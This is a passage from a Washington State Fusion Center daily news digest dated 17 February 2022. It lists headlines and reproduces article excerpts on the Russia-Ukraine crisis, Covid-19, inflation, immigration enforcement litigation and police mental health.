



Washington State Fusion Center INFOCUS



THURSDAY — 17 FEB 2022

	International	National	Regional and Local
Events, Opportunities Go to articles	02/17 Kremlin: troop pullback takes time 02/17 World high-alert for possible invasion 02/17 Ukraine, separatists: ceasefire violations 02/17 Japan eases Covid border controls 02/17 What is happening to Covid in Israel? 02/17 Asia-Pacific region faces omicron surge 02/17 Beijing 2022: human rights abuses 'lies' 02/16 Ukraine marks 'National Unity Day' 02/16 Tensions spike: West accuses Russia lying 02/16 Russia fast-tracks citizenship east Ukraine 02/16 Russia sarcasm as weapon in Ukraine crisis 02/16 Satellites spilling secrets of Kremlin plans? 02/16 NATO: Russia in troop buildup near Ukraine 02/16 NATO plan: a forces shift to counter Russia 02/16 Fending off invasion by going public w/intel 02/16 Putin fixated on Ukraine 02/16 US missile facility in Poland 02/16 India: rapid Covid home tests surge 02/16 European countries loosen restrictions 02/16 WHO: countries in Americas must learn 02/16 Hong Kong sinks under coronavirus wave 02/16 Ottawa protesters brace for clampdown 02/16 Brazil: mudslides, flooding kill dozens	02/17 Vulnerable to virus high-risk feel fear, anger 02/17 Study: consumers paying more, worse stuff 02/16 Estimated 73% immune to omicron for now 02/16 Philadelphia drops vax mandate for dining 02/16 CDC: working on 'relevant' health guidance 02/16 Texas sues over mask mandate air travelers 02/16 Migrant arrests southern border drops 02/16 Plunging deportations fuel legal challenge 02/16 Mayor: gun violence is a public health crisis 02/16 Education Dept. forgives some student debt 02/16 Retail sales surge in Jan; spending picks up 02/16 Dire warning: gas prices to surge 02/16 Renters face sharp increases; up to 40% 02/16 Plan: 'People's convoy' of truckers to DC 02/15 Traumatized police prone to bad decisions	02/16 DOH: 1,410,499 cases, 11,522 deaths 02/16 Covid cases falling; hospitals still packed 02/16 King Co. ends vaccine check policy 1 March 02/16 Eastern school districts seek end mask rule 02/16 Seattle encampment sweeps return? 02/16 WA revenue projections: \$2.7B increase 02/16 Seattle residents, businesses block RVs 02/16 New Tacoma PD chief: change is needed 02/16 King Co. confronts Metro Transit bus safety 02/16 Alaska Airlines subscription-based flying
Cyber Awareness Go to articles	02/17 Canada's major banks go offline 02/17 Ransomware attacks 2021: 620M 02/17 'Largest ever' bot attack blocked 02/17 Woman's iPhone revealed global hacking 02/17 Pegasus targeted more Polish opposition 02/16 Moses Staff targets Israel organizations 02/16 Kraken: Golang botnet in development 02/16 Ukraine: disruptions to sow panic 02/16 Official: largest hack in Ukraine history 02/15 US: Russia govt. hackers penetrate Ukraine	02/16 Illinois healthcare data breaches 02/16 TrickBot malware infects tech giants 02/16 Internet online harassment, real harm 02/16 Hackers make fortune stealing from kids 02/16 Report: Baltimore conned out of \$375,000 02/16 Report: LinkedIn phishing scams up 232% 02/16 Red Cross blames hack Zoho vulnerability 02/16 Emotet spreading via malicious Excel files 02/16 CISA: cleared defense contractors targeted 02/16 FBI: BEC scammers abuse virtual meetings	02/16 Frustration mounts weeks after DOL hack
Terror Conditions Go to articles	02/17 Australia: Hamas, far-right to terror list 02/17 France, allies withdraw forces from Mali 02/17 Pakistan struggles: Afghan border violence 02/16 Spain, Europol: 5 arrests; link to ISIS 02/16 Fear, stress: Afghanistan media landscape 02/16 Crisis looms in Syria detention camps, jails 02/16 Germany national remembrance day 11 Mar. 02/16 Canada 1st convicted terrorist denied parole 02/14 Inquiry: 3yrs intel on Manchester bomber	02/16 Afghan refugee humanitarian parole is slow 02/15 ISIS, AQ building support in Afghanistan	
Suspicious, Unusual Go to articles	02/16 Migrants Mexico border sew mouths shut	02/17 Climate crisis to increase Calif. wildfires? 02/16 Fires more intense at night, lasting longer 02/16 Air travelers with fake service dogs	
Crime, Criminals Go to articles		02/16 FAA: 80 unruly passenger cases to FBI	02/17 Seattle police: 2 men shot, wounded 02/16 Controlled substance homicide cases 02/16 Deputies: double shooting east Pierce Co. 02/16 Cannabis industry alarm on string of thefts 02/16 Frustration: spike in anti-Asian hate crimes 02/16 Dozen flights hit by laser strikes near SEA

[DISCLAIMER and FAIR USE Notice](#)

Events, Opportunities

[Top of page](#)

HEADLINE	02/17 Kremlin: troop pullback takes time
----------	--

SOURCE	https://www.reuters.com/world/kremlin-says-troop-pullback-takes-time-rebuff-us-scepticism-2022-02-17/
GIST	<p>MOSCOW, Feb 17 (Reuters) - The Kremlin on Thursday rejected what it called "unfounded accusations" by the United States and NATO that it was not withdrawing its forces from near Russia's border with Ukraine, saying it takes time to wind down military exercises.</p> <p>Moscow announced on Tuesday a partial force pullback, easing Western fears of a looming invasion of Ukraine, but the United States and NATO said on Wednesday the Russian military presence there was actually growing, not diminishing.</p> <p>Kremlin spokesperson Dmitry Peskov told a news briefing that Russia's defence ministry had a clear timetable for the return of units to their permanent bases.</p> <p>"It's clear the grouping for the (military) exercises was built up over many weeks, and it is of course impossible to withdraw it in a single day. They can't just take off and fly away... it takes time," Peskov said.</p> <p>"As always unfounded accusations," he added.</p> <p>Russia has repeatedly denied any plan to invade Ukraine, despite massing - according to U.S. estimates - some 150,000 troops near the border. Russia is also holding huge military exercises in Belarus that are set to run until Sunday.</p> <p>Peskov said Moscow was seriously concerned about a flare-up in violence in the Donbass region of eastern Ukraine between Ukrainian government forces and pro-Russian separatists and it was monitoring the situation closely.</p> <p>The rebels and Ukrainian forces traded accusations on Thursday that each had fired across the ceasefire line.</p> <p>The conflict in the Donbass began in 2014 and has simmered since then despite numerous ceasefires.</p> <p>Russia's military buildup has spurred Western fears that some kind of staged provocation in eastern Ukraine could serve as an excuse for a full-blown offensive.</p>
	Return to Top

HEADLINE	02/16 Dire warning: gas prices to surge
SOURCE	https://news.yahoo.com/here-comes-7-gas-prices-warns-oil-strategist-in-dire-outlook-171816915.html
GIST	<p>Drivers best start bracing for another surge in gas prices amid the conflict between Russia and Ukraine and years of under-investment by the oil industry, warns one veteran energy strategist.</p> <p>"My guess is that you are going to see \$5 a gallon at any triple-digit [oil prices] ... as soon as you get to \$100. And you might get to \$6.50 or \$7. Forget about \$150 a gallon, I don't know where we will be by then," Energy Word founder Dan Dicker said on Yahoo Finance Live.</p> <p>Dicker said oil prices could shoot higher to \$150 a barrel, or in line to the "super spike" highs from 2007.</p> <p>Oil prices have been red-hot lately as geopolitical tensions rise between Russia and the rest of the world.</p> <p>WTI crude oil has climbed 13% in the past month to \$94 a barrel. Russia produces 10 million barrels of oil a day, the equivalent of 10% of global demand. Any loss of that oil due to geopolitical issues could cause a tightly supplied market to become tighter, pushing prices for the hydrocarbon up.</p> <p>The march up in oil has pushed gas prices further higher from already elevated levels.</p>

	<p>Car fueling at gas station. Refuel fill up with petrol gasoline. Petrol pump filling fuel nozzle in fuel tank of car at gas station. Petrol industry and service. Petrol price and oil crisis concept.</p> <p>Gas prices are coming off their seventh straight weekly advance, according to data from GasBuddy. The national average is up 16.5 cents a gallon from a month ago and 97.2 cents a gallon from one year ago.</p> <p>The average price nationally for gas currently stands at \$3.47.</p> <p>“Not only are oil prices up, but the bulk of the nation is starting the multi-month transition to summer gasoline, further adding to the rise at the pump. In addition, cold weather in Texas last week caused some power outages at major refineries, further weighing on markets. I see no other potentials in the short term but additional price increases unless Russia does an about-face on Ukraine. Even then, we’ll still see seasonality push prices up, so motorists should be ready to dig deeper,” said Patrick De Haan, Gasbuddy head of petroleum analysis.</p>
	Return to Top

HEADLINE	02/17 Study: consumers paying more, worse stuff
SOURCE	https://www.bnnbloomberg.ca/americans-are-paying-more-for-worse-stuff-study-finds-1.1724841
GIST	<p>(Bloomberg) -- Measured by consumer prices, U.S. inflation is the highest in 40 years. Look at what Americans are actually getting for their money and the rate may be even higher, according to researchers at the University of Michigan.</p> <p>The academics publish a quarterly American Customer Satisfaction Index, which seeks to measure how happy consumers are with the goods and services they spend on. The latest edition, released earlier this week, found that there’s been a 5.2% decline in quality since 2018, with the bulk of it coming in the pandemic years.</p> <p>The question of quality is an important and difficult one for statisticians trying to measure inflation. They have to account for cases where the price of a product -- a laptop computer, say -- hasn’t changed very much but its quality has improved, because technology allows faster processors and better screens. That means that in a sense, the computer is cheaper. And conversely, if the price is unchanged and the product has gotten worse, that effectively means it’s become more expensive.</p> <p>The experts at the Bureau of Labor Statistics who calculate the headline U.S. inflation gauge, the consumer price index, try to incorporate a quality adjustment -- known in the jargon as “hedonic changes.” But they do it for fewer than 40 of the 273 items whose prices they monitor, or about 13% of the CPI basket.</p> <p>The Michigan researchers attempt to measure quality across all the industries they track. Their latest findings “suggest that actual annualized inflation is probably about 10%” if prices were “fully adjusted for quality decline,” the report says. The January CPI showed consumer prices rose 7.5% from a year ago.</p> <p>The dropoff in satisfaction is “most pronounced in services,” says Claes Fornell, founder of the ACSI and a professor emeritus of business administration at the University of Michigan. “Due to the pandemic, the problem has been amplified by a lack of product availability, supply issues and labor shortages.”</p> <p>The ACSI report highlights a few examples of Covid effects. It found that some of the worst declines in quality came in consumer electronics, hit by supply-chain issues; at hotels, where a lack of workers means nightly room-cleaning is no longer available in some cases; and in video streaming, where system overloads occurred because more people were stuck at home trying to watch the same shows all at once.</p> <p>One caveat to the ACSI: The index is based on surveys, making it a sentiment gauge of perceived quality. The respondents’ opinions are more loosely defined than the specific characteristics associated with each item that the Bureau of Labor Statistics tracks for prices.</p>

	How people feel about a product or service may be reflected by their own personal experience with dealing with a company than in how quality has changed.
Return to Top	
HEADLINE	02/17 World high-alert for possible invasion
SOURCE	https://www.cnn.com/2022/02/17/politics/russia-ukraine-us-biden-putin/index.html
GIST	<p>(CNN)Far from buying into claims the Ukraine showdown is easing, the United States is cranking up its relentless informational warfare campaign against Russia, keeping the world on high alert for a possible invasion of Ukraine.</p> <p>The Biden administration -- seeking to maintain pressure on Russian President Vladimir Putin and to keep its allies united -- is categorically rejecting what it sees as Moscow's misinformation and is warning the threat is only becoming more urgent. A senior official said late Wednesday that Russia had massed another 7,000 troops on the Ukrainian border in recent days, despite the Kremlin's claims that some forces had returned to base in remarks seen as an opening for diplomacy.</p> <p>"Every indication we have now is they mean only to publicly offer to talk, and make claims about de-escalation, while privately mobilizing for war," the official said, reiterating that Russia could fake an incident as a pretext to attack using what President Joe Biden said Tuesday was around 150,000 troops.</p> <p>The new US claims represented the latest gambit in a highly unusual public relations campaign using declassified intelligence meant to remove the element of surprise from Putin and to deprive Moscow of the usual advantage it secures with its mastery of misinformation tactics.</p> <p>Inside Washington, there are few who doubt government claims Putin is ready to invade at any time. But the intensity of US warnings over a period of weeks may soon raise the question of how long Biden can maintain the state of alert, and whether the continued lack of an invasion despite ever-more alarming warnings could open gaps between NATO allies -- and between the US and Ukrainian governments. Such stresses would play directly into Putin's long-term strategic goals.</p> <p>Both the US and Russia, the world's two greatest nuclear powers, say they are ready to negotiate. But they remain far apart on Putin's demands to rip up existing security arrangements in Eastern Europe with the departure of NATO troops from former Warsaw Pact nations.</p> <p>The US' game is not without risk, since it might push Putin over the edge -- especially if, as some US officials suspect, he's increasingly prone to a bunker mentality and getting little outside advice and perspective from officials willing to challenge his views.</p> <p>Waiting on Putin's next move By definition, in combat waged with propaganda and dueling information, it's hard to know what is really going on.</p> <p>At this point it's impossible to judge whether the US is genuinely flushing out preparations for an invasion or whether it is taking Putin's bait by exposing troop movements he is ordering in the knowledge that they'll be highlighted by Washington, and therefore increase the sense of insecurity in Europe and anxiety over what he might do next.</p> <p>The showdown over Ukraine has become the most serious geopolitical confrontation in Europe since the end of the Cold War between the US and the Soviet Union.</p> <p>The US will not send troops to Ukraine to directly fight Russians. But Biden has rushed forces to reinforce US NATO allies in Eastern Europe. Putin is effectively holding Ukraine, a sovereign, democratic nation, hostage to demand the western alliance pull back from ex-Soviet satellite states like Poland, Romania and Hungary. And if Russia does march into Ukraine, there could be painful consequences for Americans back home, with rising gas prices and energy prices adding to existing inflationary misery.</p>

The new US warning about secret Russian maneuvers came amid quickening efforts to keep up Western pressure on Moscow. The White House announced that Vice President Kamala Harris will meet Ukrainian President Volodymyr Zelensky at the Munich Security Conference this weekend. The forum, also due to be attended by leading European officials and US lawmakers, is turning into a rallying point for the US and its allies as the NATO alliance faces its most serious test since the fall of the Soviet Union.

"We are in a very decisive moment," the senior US official said, previewing the most high-profile foreign policy mission for the vice president so far.

This week has seen some hope that the crisis could be easing after Russia announced some of its troops were moving away from the border. But Secretary of State Antony Blinken instead Wednesday told ABC News there had been no "meaningful pullback" and that Putin could "pull the trigger" at any time.

"He could pull it today. He could pull it tomorrow. He could pull it next week," Blinken said.

Putin plays the long game

But in a fresh sign of discord between the US and Ukraine itself, [an intelligence report in Kyiv shown to CNN](#) insisted that the current Russian troop build-up is not enough for a "successful large-scale armed aggression against Ukraine."

The differing assessments played into the uncertainty and confusion that characteristic of Putin's Machiavellian methods. The Russian leader has observers split between those who believe he is merely seeking to destabilize the government in Ukraine, assert Russian power and assail the Western alliance and those convinced an invasion that could spell a dangerous new era in Europe is imminent.

Rep. Michael McCaul of Texas, the top Republican on the House Armed Services Committee, told CNN's Wolf Blitzer on Wednesday that the Russian leader's intentions were almost certainly nefarious.

"I think they are running a disinformation campaign," McCaul said.

The daunting truth is that while there will be questions of troop readiness, Putin can keep the campaign of pressure up almost indefinitely. In doing so, he could show Ukraine he will never allow it to join the European Union or NATO, dig divisions among Western allies and make a point that Russia must never be ignored again when it comes to security arrangements on the European continent.

The crisis has also fulfilled another goal -- as a stream of leaders and diplomats has traveled to Moscow and Putin has spoken frequently to Biden, restoring Russia's image as a great power, following years in which the US minimized its threat and built its foreign policy around confronting China.

Even if he doesn't invade, the Russian President has the capacity to turn up the heat any time he feels Russia is not being respected. And days and weeks of prolonging the showdown could discredit US claims an invasion is imminent, weaken Western resolve and restore to Russia its element of surprise. In a long-term showdown, Russia would have the advantage because it cares far more about the fate of Ukraine, a former Soviet federated state, than the West does.

While this confrontation lacks the breadth and intensity of the Cold War, when Europe was divided by an Iron Curtain into free nations protected by the US and communist states dominated by Moscow, a geopolitical shift does seem to be taking shape with the possibility for another ossified confrontation. Putin has been in power for more than 20 years, outlasted multiple US presidents and doesn't play by the four-year clock between elections that dominates American politics. He is also willing to subject the Russian people -- who have endured a grueling history -- to more pain than a US President worried about reelection would countenance for theirs. It's one reason why some experts believe he may be willing to risk the withering sanctions that would be triggered by an invasion.

'The new normal'

NATO Secretary General Jens Stoltenberg, who will also meet Harris in Munich, fueled perceptions of more contentious era dawning in Eastern Europe that mirrored old Cold War divides.

"I regret to say this is the new normal in Europe," Stoltenberg said in Brussels.

"We do not know what will happen in Ukraine. But the situation has already demonstrated we face a crisis in European security. Moscow has made it clear that it is prepared to contest the fundamental principles that have underpinned our security for decades and do so by using force," he added.

The fact that the West will gather in Munich to steel itself for new confrontations is ironic since it was at the conference 15 years ago that Putin launched a savage attack on the US and the post-Cold War order that in retrospect was a playbook for his tactics culminating in the Ukraine crisis.

The Russian leader bemoaned an era of "unipolar" American power at a time when the US was fighting wars of choice in Iraq and Afghanistan. He also lashed out at NATO expansion to include ex-Soviet satellite nations -- the underlying cause of his belief that the West is threatening Russia and that he must prevent Ukraine from falling further under its influence.

"We have the right to ask: Against whom is this expansion intended?" he said, while hinting at a campaign of "many years and decades, as well as several generations of politicians" that would redress the balance. For those who recall his Munich tirade, none of Putin's hard, hostile turn against the United States, his incursion into Georgia, the annexation of Crimea, interventions in US elections and current thuggery toward Ukraine are a surprise.

Washington might think it won the Cold War 30 years ago. But recent weeks show the Russian leader is still waging something very much like it, because it is a way to demand respect for his country's power, status and goals.

[Return to Top](#)

HEADLINE	02/17 Vulnerable to virus, high-risk feel fear, anger
SOURCE	https://www.nytimes.com/2022/02/17/us/high-risk-covid-immunocompromised.html
GIST	<p>Denisse Takes's world is very small these days. She makes a living by producing songs from her living room, plays "Animal Crossing" online with friends and leaves her home in Burbank, Calif., only occasionally to walk her dog.</p> <p>Even as her social media feeds are flooded with friends and family members returning to their normal lives, she sees no one except for her husband, who donated his kidney in 2015 so that Ms. Takes, 37, could receive a compatible donor's kidney in return.</p> <p>The medication that keeps her immune system from rejecting the organ also suppresses it from creating antibodies in response to a coronavirus vaccine. Her body is so bad at fighting off infection that she has gone to the emergency room with common colds, she said. She is certain that Covid-19 would kill her.</p> <p>But the isolation and depression — amplified as the rest of the world seemingly moves on from the pandemic without her — have also taken their toll. "I keep trying to hold on for my husband, honestly," Ms. Takes said.</p> <p>Millions of Americans with weakened immune systems, disabilities or illnesses that make them especially vulnerable to the coronavirus have lived this way since March 2020, sequestering at home, keeping their children out of school and skipping medical care rather than risk exposure to the virus. And they have seethed over talk from politicians and public health experts that they perceive as minimizing the value of their lives.</p> <p>As Year 3 of the pandemic approaches, with public support for precautions plummeting and governors of even the most liberal states moving to shed mask mandates, they find themselves coping with exhaustion</p>

and grief, rooted in the sense that their neighbors and leaders are willing to accept them as collateral damage in a return to normalcy.

“I can still see your world, but I live in a different world,” said Toby Cain, 31, of Decorah, Iowa, who has lymphatic cancer and went through six rounds of chemotherapy and radiation during the pandemic, making her especially vulnerable to Covid-19.

She lives alone, eats almost every meal alone and scrolls through social media alone, lamenting the family weddings and friends’ babies she has missed — at least until recently, when she quietly gave up on social media altogether. “It’s like living behind a veil while the rest of the world moves forward,” she said.

More than seven million adults in the United States, or about 3 percent, are [characterized by health professionals as immunocompromised](#) because of a disease, medication or other treatment that weakens their body’s immune response, meaning that diseases such as Covid-19 can be more deadly to them, and that vaccines offer less protection.

Tens of millions more Americans [have at least one medical condition](#), such as asthma or diabetes, that puts them at greater risk from Covid. How much greater can vary widely; many live with little worry, while others at higher risk have felt the need to isolate from society.

That is not what Aaron Vaughn, now 12, of East Lynne, Mo., hoped for when he received a heart transplant in June 2020. Born with half a heart, he thought a transplant would give him more freedom after years of long hospital stays. But with the virus still circulating, he has not been to school or a restaurant — his last trip was to Pizza Hut, his favorite at the time — since early 2020, and sees no one but his family and doctors.

“If I could go to school, that would be cool,” Aaron said, adding, “I can’t go anywhere except the hospital.”

He is vaccinated, but because of the drugs he takes to stop his body from rejecting the heart, his doctors have told him to act like he is not. His siblings, also vaccinated, went back to school in person last month, but they wear masks, making them stand out in their conservative community, where roadside signs urge people not to get a coronavirus vaccine.

His parents said they had received hate mail for asking neighbors to wear masks or get vaccinated — some of the same neighbors who rallied around and prayed for Aaron when he needed a transplant. “It’s hard when people have turned something political, you know, that could kill my son,” said his mother, Sarah Vaughn.

The [rollback of mask mandates](#) in states such as New York, Illinois and California is the latest source of stress for vulnerable Americans, who fear that the rest of the country is shedding precautions without any consideration of how to keep them safe. The federal Centers for Disease Control and Prevention said last week that it was [too soon to abandon masks](#), in part because of the potential impact on vulnerable people, but the agency indicated on Wednesday that it would [soon issue new guidelines](#).

“Having everyone mask indoors always is not a forever strategy,” said Dr. Megan Ranney, an emergency physician and academic dean at the School of Public Health at Brown University, noting that immunocompromised people and others with vulnerabilities have always faced risks. But, she added, “We need to make sure that we have more stringent protections in place in places where people don’t have a choice about whether or not they go there.”

The best protection in the long term, Dr. Ranney said, is to keep overall infections low: The less the virus is circulating, the less likely someone will be exposed. Vaccinating almost everyone would help, she said, but millions of Americans refuse, and not enough funding has been forthcoming for improved ventilation systems in public places.

The fear and anger felt by many high-risk Americans burst into public view last month in response to remarks from the C.D.C. director, Dr. Rochelle Walensky. Citing a study that said only 0.003 percent of vaccinated people had died of Covid-19, she told ABC News that 75 percent of those who had died despite vaccination had “at least four comorbidities, so, really, these are people who were unwell to begin with.”

That drove Imani Barbarin, who has several conditions that put her at high risk, including cerebral palsy and diabetes, to create the hashtag #MyDisabledLifeIsWorthy on social media, generating an outpouring from other people angry over the government’s approach.

“We just truly want to survive this,” Ms. Barbarin, 31, said, “and we have seen a complete disregard for our needs, for our community and for our voices throughout this entire pandemic.”

After a flood of criticism, Dr. Walensky apologized to disability advocates in a meeting and promised that senior C.D.C. officials would meet with them regularly. But Julia Bascom, the executive director of the Autistic Self Advocacy Network, who was in the meeting, said the comment reflected a familiar attitude: “That people with disabilities are just inevitably going to die, and those deaths are more understandable and less tragic.”

Dr. Cameron Webb, the senior policy adviser for equity on the White House Covid-19 Response Team, said the backlash had led the Biden administration to re-examine its approach to people with vulnerabilities. “There’s a lot of pain,” he acknowledged, adding, “We want to do better.”

He pointed to recent guidance from the Department of Health and Human Services saying that patients cannot be deprioritized on the basis of disability, even when hospitals enact crisis standards of care. He said the administration would announce more actions this week, including a working group of advocates.

Experts said there were ways government officials and the health care system could help vulnerable people without asking the rest of society to take stringent precautions indefinitely.

Govind Persad, an assistant professor of health law at the University of Denver’s Sturm College of Law, suggested using federal pandemic relief money to upgrade ventilation in businesses and schools, making prophylactic antibody treatments such as Evusheld widely available to immunocompromised people, and managing the distribution of scarce antiviral medications so that they go to the highest-risk people, rather than those with the most resources to find them.

“It would be frustrating to have states fail to protect people at higher risk, and then try to frame things as an individual-individual trade-off between people who want to maintain mask requirements versus removing them,” Dr. Persad said.

Ms. Cain, the cancer patient in Iowa, said the prophylactic antibodies seemed like her only chance to regain a semblance of normalcy, but supplies are very limited, even after Health Secretary Xavier Becerra announced on Monday that the United States would double its latest order.

“It’s extremely disheartening to see elected officials or other people in power minimize or miss the severity of the crisis we’re going through,” she said.

In rural Missouri, 12-year-old Aaron spends his time in online classes, playing Minecraft or Call of Duty with friends, and making YouTube videos of himself trying spicy foods. His friends keep asking when he will come back to school, but he knows it will not be anytime soon.

For his parents, the loss of support from those around them continues to sting. “People say, ‘You’re living in fear,’” said Chad Vaughn, his father. “And I’m like, ‘You’re damn right I’m living in fear, and I’m tired of it.’”

[Return to Top](#)

SOURCE	https://www.washingtontimes.com/news/2022/feb/16/dhs-plunging-deportation-numbers-fuel-legal-challe/
GIST	<p>Republican-led states pleaded Wednesday with a federal judge in Ohio to nix the Biden administration's limits on immigration arrests and deportations, saying the Homeland Security Department's new rules amount to an "abdication" of duty under the law.</p> <p>Deportations have plummeted for murderers, burglars, sexual assault convicts and nearly every other category of criminal, Ohio Deputy Solicitor General May Mailman told the judge.</p> <p>"This is an abdication framework," Ms. Mailman said.</p> <p>Ohio, Arizona and Montana are challenging the rules written last year by Homeland Security Secretary Alejandro Mayorkas that restrict which immigrants are targeted for arrest or deportation.</p> <p>Mr. Mayorkas said being in the country illegally is not enough reason to be picked up or removed. Criminal records or cases in which a judge has ordered deportation must be balanced against other factors, such as how old the cases are and whether families in the U.S. depend on the illegal immigrant, he said.</p> <p>Michael F. Knapp, a Justice Department lawyer, told the court Wednesday that the new rules take "a more humanitarian approach" to enforcement.</p> <p>U.S. District Judge Michael J. Newman, a Trump appointee, listened during the nearly 90 minutes of arguments and didn't give any indication which way he was leaning.</p> <p>The Justice Department asked the judge to toss out the case. It said states don't have the standing to sue and decisions Mr. Mayorkas makes are immune to court review.</p> <p>Even if a court can intervene, Mr. Knapp said, the new rules are justified.</p> <p>He said more than 11 million noncitizens are "potentially removable" from the U.S. and Congress hasn't given Homeland Security anywhere near enough money to pursue all of them. He said the law specifically tells the homeland security secretary to decide the best way to use the money.</p> <p>He pointed to data showing that the number of aggravated felons arrested during a period in 2021 was nearly double the same period in 2020, even though the overall number of arrests dropped.</p> <p>"That data showed that prioritization works. If you tell your officials, your line officials, to focus on threats to public safety, then there will be an increase in enforcement actions against threats to public safety," Mr. Knapp said.</p> <p>Ms. Mailman said it is unfair to compare 2021 with 2020 when the pandemic shut down much of U.S. Immigration and Customs Enforcement's activities.</p> <p>Mr. Mayorkas' rules, she said, go beyond priorities and put people entirely out of reach of immigration enforcement.</p> <p>She said the proof is the collapse of enforcement numbers, and she drew a comparison to a bus: If ICE is still filling the bus, even if they aren't the same people as before, it would suggest the agency is following priorities. If the bus is much emptier than before, then it suggests the goal is to thwart enforcement.</p> <p>"ICE is very much underperforming their resources," Ms. Mailman said.</p> <p>The plaintiff states have asked for a preliminary injunction to block Mr. Mayorkas' priorities.</p> <p>Texas and Louisiana are challenging the priorities in federal court in Texas.</p>

	ICE has yet to release its final 2021 data, but sources have told The Washington Times that the numbers will show a severe collapse in enforcement, which could further undercut the government's case.
Return to Top	

HEADLINE	02/15 Traumatized police prone to bad decisions
SOURCE	https://www.washingtontimes.com/news/2022/feb/15/anti-police-climate-contributing-to-ptsd-among-off/
GIST	<p>Mental health specialists say the nation's anti-police climate is compounding struggles by traumatized police officers, who are more likely to make mistakes in potentially deadly encounters that stir up anti-cop narratives.</p> <p>"By telling them they are all bad people, that's going to lead to trauma," said Cherylynn Lee, a police psychologist. "When someone is suffering trauma or stress, it has an impact on the brain. It is more difficult to concentrate and clouds thinking."</p> <p>A police officer in Fargo, North Dakota, who was fired last month for mishandling two cases, filed a lawsuit to get his job back. He said he suffers from post-traumatic stress disorder. PTSD is also mentioned in a lawsuit filed last week against a Florida police department involving a stun gun in a 2019 struggle.</p> <p>PTSD can arise among officers from physical attacks and distressing situations, such as encountering abused children or dead bodies. The effects include substance abuse, sleeplessness and unprovoked aggression, which all can impair judgment.</p> <p>"Until we start looking at these factors, we are going to have judgment errors. They are going to most heavily fall on the minority community, which has already been impacted by systemic racism," said Kevin Gilmartin, a former police officer who has written books on officers' emotional wellness.</p> <p>Through the first six weeks of this year, 19 officers died by suicide, according to data from Blue Help, a nonprofit that works with officers dealing with mental health issues. The pace for police suicide is similar to that of 2021, when 153 officers took their own lives. Suicide was the second-leading cause of death for police behind COVID-19 last year.</p> <p>Ten officers so far this year have died violently at the hands of criminals.</p> <p>An estimated 17% to 35% of the nation's police officers have experienced PTSD or depression at some point in their careers, according to a 2020 Northern Illinois University survey.</p> <p>A 2011 Harvard University study of 5,000 police officers found that 40% had sleep disorders, one symptom of PTSD. Those who screened positive for a sleep disorder had a 25% higher risk of expressing uncontrolled anger and a 35% higher chance of having a complaint filed against them.</p> <p>They also had a 43% higher chance of making a serious administrative error, including mistakenly believing an outstanding warrant had been issued and errors in filing a report.</p> <p>Ms. Lee said anti-police rhetoric exacerbates PTSD in officers who are already struggling. It reduces "resiliency," the term used to describe a person's ability to adapt and recover from trauma, she said.</p> <p>"Something restorative like a child waving to an officer on a bike patrol can promote resiliency," Ms. Lee said. "But those interactions are happening less and less, and the impact of that community mistrust reduces resiliency, so they have less to work with."</p> <p>At least 189 Minneapolis police officers — more than 20% of the department's staff — filed disability claims last year. They said they were suffering from PTSD resulting from the protests over George Floyd's death in 2020.</p>

Roughly a dozen officers who filed claims were inside the city's 3rd Precinct station, which was burned down during the social justice riots. The city has paid more than \$3.5 million in disability claims for PTSD.

Ms. Lee said she is seeing three times as many clients as she was in 2019 and now has a waitlist for her services. Waitlists have become so common that officers seeking treatment have developed their own slang term: "rostering."

"Most clinicians are not taking on new clients or are overextended," she said. "It takes a certain kind of clinician to work with law enforcement."

Nearly every police department offers an employee assistance program, which is tasked with helping officers deal with the stresses of the job.

Few officers take advantage of the program because the city funds it, and tensions between police and local governments are at an all-time high, said Nick Edwards, a former detective who suffered from PTSD.

"They have this resource available, but they don't trust it," said Mr. Edwards, who works with 911 At Ease International, a nonprofit that supports first responders suffering from mental health issues.

Officers are turning to private treatment. Data from 911 At Ease shows that up to 25% of employees at police departments where the organization is established use its services and just 3% use workplace assistance programs.

Mr. Edwards sees the toll the current environment is having on police. He is a member of a Facebook group of roughly 40,000 current and former police officers.

He said the group's tone has changed from camaraderie to frustration. Officers used to post memes and funny videos but now are asking for help or discussing how to transition to another job, he said.

"There is a sense of helplessness. They are asking why they are doing this because the community hates them, their department isn't supporting them. It's alarming," Mr. Edwards said.

Meanwhile, retirements and resignations are soaring. A Police Executive Research Forum survey of roughly 200 departments last year found a 45% increase in retirements and a 20% increase in resignations compared with 2020.

During the police exodus, cities are reporting significant increases in shootings and homicides. Last year, 16 U.S. cities set homicide records.

Solutions to reducing PTSD among officers remain elusive.

Mr. Gilmartin said officers need more time off from their jobs because the long hours cause fatigue and hamper mental and physical ability. He said Canada and Australia give police seven to nine weeks of vacation, nearly three times what their U.S. counterparts have.

With fewer officers on the job, more officers are working longer hours.

Mr. Edwards said more officers are asking for help and departments are recognizing the need to provide treatment.

The police department in Rochester, New York, this month became the latest to launch a wellness and resilience unit to help officers recognize how the stress of the job is impacting their mental health. It differs from assistance programs because it is tailored for law enforcement's specific challenges.

	“There are a lot more resources, and it’s becoming more mainstream in departments to ask for help,” Mr. Edwards said. “When I was in law enforcement, we didn’t talk about it. That’s the flip side to this environment: Officers are stepping up to ask for help.”
Return to Top	

HEADLINE	02/16 Fending off invasion by going public w/intel
SOURCE	https://www.theguardian.com/world/2022/feb/16/us-uk-russia-invasion-intelligence-public-briefings
GIST	<p>The US and the UK have sought to fend off a feared Russian invasion of Ukraine in part by going public with an unusual amount of intelligence, hoping to rob Vladimir Putin of the element of surprise.</p> <p>There have been regular briefings in Washington and London – sometimes from national security officials who do not often talk to the press – going into detail about potential Russian military tactics, regime change plots, and “false flag” operations Moscow is allegedly planning to provide a pretext for invasion.</p> <p>Derek Chollet, the state department counselor, said on Wednesday that the US and its allies wanted to warn of Russia possibly carrying out such operations in Ukraine “in order to hinder their ability to do so”.</p> <p>“We are trying to be as forthcoming as possible, to say that’s their play and what could be coming,” Chollet said.</p> <p>In doing so, the US and UK are trying to beat Russia at what has largely been Moscow’s game in recent years – or at least to provide better opposition.</p> <p>“I think it’s the west getting a little more savvy on using intelligence in an actionable way,” John Sipher, a veteran of the CIA’s clandestine service, said. “It’s what we used to call – when the Russians did it – information warfare, and it’s something we’ve never got very good at.</p> <p>“What’s interesting is this information isn’t meant for Americans or British citizens. It’s meant for one consumer: Vladimir Putin,” Sipher said. “He’s the one who knows whether it’s true or not. So if we put out intelligence that the Russians thought was secret, and Putin knows it’s true, he’s got to decide how it has consequences for what he was trying to do, and how it’s affecting his strategy.”</p> <p>US and British officials have repeatedly said the ultimate decision to attack or not will be Putin’s alone, and even he may be leaving it to the last moment to make up his mind. If the decision is indeed on a knife-edge, the thinking goes, any small factor, such as taking away the surprise element and the satisfaction of 